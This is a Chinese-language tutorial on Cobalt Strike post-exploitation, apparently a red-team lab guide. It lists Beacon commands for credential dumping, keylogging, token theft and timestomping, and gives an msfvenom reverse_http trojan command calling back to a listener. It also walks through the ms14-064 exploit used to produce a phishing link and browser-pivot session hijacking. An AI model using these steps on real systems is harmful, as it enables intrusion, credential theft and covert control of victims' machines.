[TOC]
by Tahir 2021.6.8
接着基础上篇
4.后渗透
4.1 会话管理
4.1.1 Beacon 的管理
Beacon 控制台
在一个 Beacon 会话上右击 interact(交互)即可打开 Beacon 控制台,如果想对多个会话进行控制,也只需选中多个会话,执行相关功能即可。
在 Beacon 的控制台中的输入与输出之间,是一个状态栏,状态栏上的信息分别是:目标 NetBIOS 名称、用户名、会话PID以及 Beacon 最近一次连接到 CS 团队服务器的时间。
Beacon 控制台是在使用 CS 的过程中,很经常用到的功能,向 Beacon 发出的每个命令,都可以在这里看到,如果队友发送了消息,在 Beacon 控制台同样能看到,消息前还会显示队友的名称。
Beacon 菜单
Access:包含了一些对凭据的操作及提权的选项
Explore:包含了信息探测与目标交互的选项
Pivoting:包含了一些设置代理隧道的选项
Session:包含了对当前 Beacon 会话管理的选项
Beacon 命令
1 | help 帮助命令显示全部命令 |
1 | argue 进程参数欺骗 |
1 | blockdlls 阻止子进程加载非微软签名的dll |
1 | browserpivot 浏览器代理前面介绍过 |
1 | cancel 取消正在进行的文件下载 |
1 | cd 切换目录 |
1 | checkin 强制回连时发送主机信息 |
1 | covertvpn 部署Covert VPN客户端,注:没啥用的功能不做介绍 |
1 | clear 清空Beacon任务列队 |
1 | connect 连接到一个TCP Beacon |
1 | cp 复制文件 |
1 | dcsync 从域控中提取密码哈希 |
1 | desktop VNC远程桌面 |
1 | dllinject 反射dll进程注入 |
1 | dllload 使用LoadLibrary函数进行dll注入 |
1 | download 下载目标机文件 |
1 | downloads 列出正在下载的文件 |
1 | drives 列出目标机上所有的磁盘盘符 |
1 | elevate 提权并生成一个高权限会话 |
1 | execute 执行程序(无回显) |
1 | execute-assembly 内存加载执行.NET程序集 |
1 | exit 结束Beacon进程 |
1 | getprivs 启用当前访问令牌所拥有的特权 |
1 | getsystem 尝试模拟一个SYSTEM账号的令牌获取System权限 |
1 | getuid 获取当前令牌关联的用户ID |
1 | hashdump 转储密码哈希 |
1 | inject 在指定进程中派生会话 |
1 | inline-execute 在Beacon会话中执行Beacon Object File (BOF) |
1 | jobs 查看后渗透任务列表 |
1 | jobkill 结束一个在后台运行 |
1 | jump 在远程主机上执行payload生成一个会话 |
1 | kerberos_ticket_purge 清除当前shell的Kerberos票据 |
1 | keylogger 将键盘记录器注入到一个进程运行 |
1 | kill 结束指定进程 |
1 | link 前面介绍过了是用来连接SMB Beacon的 |
1 | logonpasswords 执行mimikatz获取密码 |
1 | ls 显示目标机当前目录 |
1 | make_token 创建令牌前面有说过 |
1 | mimikatz 执行mimikatz命令 |
1 | mkdir 在目标机上创建目录 |
1 | mode dns 使用DNS A作为数据通道(仅限DNS Beacon有效) |
1 | mv 移动目标机上的文件 |
1 | net 在目标上执行net命 |
1 | note 为当前Beacon会话备注 |
1 | portscan 扫描端口 |
1 | powerpick 非托管powershell技术 |
1 | powershell 通过powershell.exe执行命令 |
1 | ppid 父进程欺骗 |
1 | ps 显示进程列表 |
1 | psinject 在指定进程中执行PowerShell命令 |
1 | pth hash传递攻击 |
1 | pwd 显示当前所在目录 |
1 | reg 注册表查询命令(仅能查询) |
1 | remote-exec 在远程主机上执行命令 |
1 | rev2self 恢复Beacon原始令牌 |
1 | rm 删除文件 |
1 | rportfwd 反向端口转发rportfwd [bind port] [forward host] [forward port] 开启端口转发rportfwd stop [bind port] 停止指定端口转发 |
1 | run 在目标上执行程序(输出回显) |
1 | runas 以其他用户权限执行程序 |
1 | runasadmin 提权后执行命令 |
1 | runu 父进程欺骗 |
1 | screenshot 截屏 |
1 | setenv 设置环境变量 |
1 | shell 通过cmd执行命令 |
1 | shinject shellcode注入 |
1 | sleep 设置beacon睡眠时间 |
1 | socks SOCKS4代理(不建议使用) |
1 | spawn 派生会话 |
1 | spawnas 以其他用户身份派生会话 |
1 | spawnto 设置Beacon派生会话时使用的程序 |
1 | spawnu 在指定进程中派生会话 |
1 | ssh 使用ssh密码远程连接 |
1 | ssh-key 使用SSH密钥远程连接 |
1 | steal_token 从进程中窃取访问令牌 |
1 | timestomp 复制指定文件时间戳到其他文件 |
1 | unlink 断开与子Beacon的连接 |
1 | upload 上传文件 |
Script Console
1 | ? 执行sleep判断语句并输出结果 |
4.1.2 派生会话/会话传递
会话传递相关命令
Beacon 被设计的最初目的就是向其他的 CS 监听器传递会话。
spawn:进行会话的传递,也可直接右击会话选择spawn命令进行会话的选择。默认情况下,spawn命令会在 rundll32.exe 中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如 Internet Explorer) 并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。
spawnto:该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按 enter 会指示 Beacon 恢复至其默认行为。
inject:输入inject + 进程 id + 监听器名来把一个会话注入一个特定的进程中。使用 ps 命令来获取一个当前系统上的进程列表。使用inject [pid] x64来将一个64位 Beacon 注入到一个 64位进程中。
spawn和inject命令都将一个 payload stage 注入进内存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你,那么将看不到一个会话。如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon,这些命令会自动地尝试连接到并控制这些 payload。
dllinject:dllinject + [pid]来将一个反射性 DLL 注入到一个进程中。
shinject:使用shinject [pid] [架构] [/路径/…/file.bin]命令来从一个本地文件中注入 shellcode 到一个目标上的进程中。
shspawn:使用shspawn [架构] [/路径/…/file.bin]命令会先派生一个新进程(这个新进程是 spawn to 命令指定的可执行文件),然后把指定的 shellcode 文件( file.bin )注入到这个进程中。
dllload:使用dllload [pid] [c:\路径...\file.dll]来在另一个进程中加载磁盘上的 DLL文件。
4.1.2.1 CS自身增加会话
1.首先创建一个新的监听器,用于自身派生会话。
2.然后在要派生的会话上右键点击Spawn即可。
3.选择要派生到刚刚新建的监听器上,点击choose即可。
4.可以看到会话成功派生。
4.1.2.2 在其他teamserver上做备份会话
1.在另一台Linux服务器上开启teamserver。
2.通过客户端连接上新开启的teamserver。
3.新建一个监听器,用于将会话派生到新开启的teamserver上。
4.选择将要派生到teamserver的会话,通过spawn模块派生即可。
5.在新开启的teamserver上查看会话成功派生。
4.1.2.3 CS派生MSF会话
1.在 Kail上开启metasploit框架,并开启监听。
1 | use exploit/multi/handler |
2.在Cobalt Strike上创建一个监听器。
3.通过Spawn将会话派生到新创建的监听器中。
4.在msf服务器上查看会话已经成功派生。
4.1.2.4 MSF 生成木马与CS会话
1.通过 msfvenom 生成木马文件。其中LHOST和LPORT要设置为teamserver的IP与端口。
1 | msfvenom -p windows/meterpreter/reverse_http LHOST=10.251.0.35 LPORT=9999 -f exe > /tmp/msf.exe |
2.在Cobalt Strike上创建一个监听器。
3.将木马文件上传到目标靶机,并执行。目标成功在Cobalt Strike上线。
4.1.2.5 MSF使用溢出exp与CS会话
使用ms14-064漏洞进行测试。
这里简单介绍一下ms14-064漏洞:
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 –Win10+IE11全版本。
具体利用流程如下:
1.在msf服务器上搜索ms14-064模块。
2、使用对应模块,并设置参数。
1 | use exploit/windows/browser/ms14_064_ole_code_execution |
参数设置如下,svrhost、svrport设置为MSF的IP和端口,payload的lhost、lport设置为CS监听器的IP和端口。
这里要简单说明几个参数的作用:
1.set Disablepayloadhandler true:这告诉metasploit框架,它不需要在metasploit框架内创建处理程序来服务有效负载连接。
2.set PrependMigrate true:告诉metasploit框架修改其stager,以便在利用之后立即迁移到另一个进程,此选项对于客户端攻击非常重要。它允许您的会话在被利用的应用程序崩溃或关闭时存活。
通过exploit执行完,会生成一行钓鱼链接:
3.在 Cobalt Strike 上设置监听器。
监听器设置的payload,hosts和port均要与msf上所设置的一致。
4.在目标靶机上的IE浏览器中执行MSF的钓鱼链接。
4.1.2.6 MSF派生CS会话
通过ms14-064漏洞进行演示。
1.通过ms14-064漏洞获取目标主机的meterpreter会话。
步骤与上述的基本一致,只需要修改Lhost、Lport为MSF服务的IP和端口,以及disablepayloadhandler 的值为false即可,参数设置如下。
通过exploit执行获得链接
并在目标靶机上执行即可。
这时候可以看到成功获取到meterpreter会话了。
2.将会话派生到 Cobalt Strike上。
使用
1 | use exploit/windows/local/payload_inject |
设置对应的参数。
3.在Cobalt Strike 上创建监听器。
4.执行msf的模块
5.在Cobalt Strike上可以看到会话成功派生。
4.2 Explore
用户驱动攻击简单来说就是控制端通过远程控制让受控端来执行某一些操作。 常见的用户驱动攻击的模块如下:屏幕截图、键盘记录、进程处理、端口扫描、用户发现、文件管理、远程vnc、浏览器代理(仅针对ie浏览器)等,如下图所示。

4.2.1 浏览器代理
浏览器转发是指在已经攻击成功的目标中,利用目标的信息登录网站进行会话劫持,但是目前只支持目标正在使用IE浏览器的前提下。关于如何判断当前用户是否使用IE浏览器,则可以通过屏幕截图来判断。如下图中,通过屏幕截图可以看到目标正在使用IE浏览器登陆着当前网站。
具体使用步骤如下:
1.选择 Browser Privot 代理。
2.选择对应的进程。
这里我们要将Proxy Serve Port 的值记录下来。
在命令行可以看到浏览器代理已经成功开启。
3.为CS上的服务器的浏览器设置代理。代理服务器的IP地址为teamserver的IP地址,代理端口为刚刚记录下的Proxy Serve Port 的值。
如果目标用户曾经通过IE浏览器登录某网站后台,并保存登录信息。这时候我们只需要通过访问目标后台地址即可实现免密登录。
5.通过browserpivot stop 关闭浏览器代理。
4.2.2 远程VNC
该模块可以对目标用户进行远程控制,具体使用步骤如下。
选择VNC模块进行利用。
运行结果如下:
4.2.3 文件管理
浏览会话系统文件位置在右击会话处,选择 Explore –> File Browser即可打开。在这里可以对当前会话下的文件进行浏览、上传、下载、删除等操作。
在进行文件浏览时,如果 beacon 设置的 sleep 值较高,CS会因此而变得响应比较慢。
彩色文件夹表示该文件夹的内容位于此文件浏览器的缓存中;深灰色的文件夹表示该文件夹的内容不在此文件浏览器缓存中。
文件下载
download:下载请求的文件。Beacon 会下载它的任务要求获取的每一个文件的固定大小的块。这个块的大小取决于 Beacon 当前的数据通道。HTTP 和 HTTPS 通道会拉取 512kb 的数据块。
downloads:查看当前 Beacon 正在进行的文件下载列表。
cancel:该命令加上一个文件名来取消正在进行的一个下载任务。也可以在 cancel 命令中使用通配符来一次取消多个文件下载任务。
下载文件都将下载到CS团队服务器中,在View –> Download下可看到下载文件的记录,选中文件后使用Sync Files即可将文件下载到本地。
文件上传
upload:上传一个文件到目标主机上。
timestomp:将一个文件的修改属性访问属性和创建时间数据与另一个文件相匹配。当上传一个文件时,有时会想改变此文件的时间戳来使其混入同一文件夹下的其他文件中,使用timestomp 命令就可以完成此工作。
选择File Browser模块进行利用。
结果如下:
4.2.4 Net View
该模块用于显示域列表、计算机列表或指定计算机的共享资源列表,具体使用步骤如下。
选择对应的Net View模块利用即可。
运行结果如下:
4.2.5 端口扫描
该模块用于探针目标主机所在网段内主机端口开放情况,使用步骤如下。
1.选择对应的 Port Scan 模块进行利用。
2.选择需要探针的网段、端口范围、最大连接数以及使用的协议类型。
3.查看命令行,发现扫描已经开始运行。
4.在View视图内的Targets可以查看扫描结果。
4.2.6 进程列表
该模块用于查看目标的进程,使用该模块可以对目标主机进行进程注入、屏幕截图,键盘记录、删除进程等操作,使用步骤如下。
1.右键选择Explore下的Process List模块。
2.控制台输出区可以查看进程列表。
3.选择explore.exe进程,点击Screenshot进行屏幕截取。
运行结果可以在view视图的Screenshots中查看。
4.2.7 屏幕截取
该模块用于对目标屏幕进行截取,该模块运行的结果与上述在进程列表中通过Screenshot进行截图的结果基本一致,具体使用步骤如下。
右键选择Explore下的Screenshot模块进行利用即可。
4.2.8 键盘记录
右键选择Explore下的Process List模块。点击Log Keystrokes进行键盘记录,运行结果可以在view视图的Keystrokes中查看。
参考资料
- https://teamssix.com/year/201023-192553.html
- https://xz.aliyun.com/t/3975
- https://payloads.online/tools/socat
- https://zhuanlan.zhihu.com/p/93718885
- https://www.anquanke.com/post/id/156299
- https://www.bilibili.com/video/BV16b411i7n5
- https://www.freebuf.com/sectool/173366.html
- https://my.oschina.net/u/4300698/blog/3382230
- https://segmentfault.com/a/1190000019290085
- https://www.cnblogs.com/cthon/p/9151467.html
- https://www.secpulse.com/archives/127186.html
- https://www.freebuf.com/articles/web/231892.html
- https://klionsec.github.io/2017/09/23/cobalt-strike/
- https://www.renfei.org/blog/introduction-to-spf.html
- https://www.cnblogs.com/backlion/p/10616308.html
- https://blog.csdn.net/hnjztyx/article/details/52910478
- http://blog.leanote.com/post/snowming/62ec1132a2c9
- https://blog.csdn.net/pipisorry/article/details/52269785
- https://blog.csdn.net/l1028386804/article/details/86675559
- https://www.freebuf.com/company-information/167460.html
- https://blog.csdn.net/qq_34101364/article/details/108062913
- https://blog.csdn.net/github_35186068/article/details/80518681
- https://pythonpig.github.io/2018/01/17/Cobaltstrike-SMB-beacon/
- https://www.varonis.com/blog/kerberos-how-to-stop-golden-tickets/
- https://lunamoore.github.io/2020/08/18/veil-evasion%E5%AE%89%E8%A3%85/